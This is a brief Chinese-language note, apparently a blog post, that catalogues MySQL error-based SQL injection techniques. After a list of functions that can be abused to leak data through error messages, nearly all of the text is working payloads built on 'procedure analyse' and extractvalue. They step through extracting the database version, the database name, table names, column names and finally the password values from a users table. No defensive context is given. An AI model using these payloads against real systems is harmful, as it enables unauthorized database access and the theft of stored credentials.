mysql报错函数
floor,updatexml,extractvalueGeometryCollection,polygon,GTID_SUBSET,multipoint,multilinestring,multipolygon,LINESTRING,exp;
待整理
procedure analyse
查询数据库版本:
Procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1);
查询数据库名:
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
查询表名:
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479))),1);
查询字段:
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273))),1);
查询字段内容:
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(password) from users))),1);

浙公网安备 33010602011771号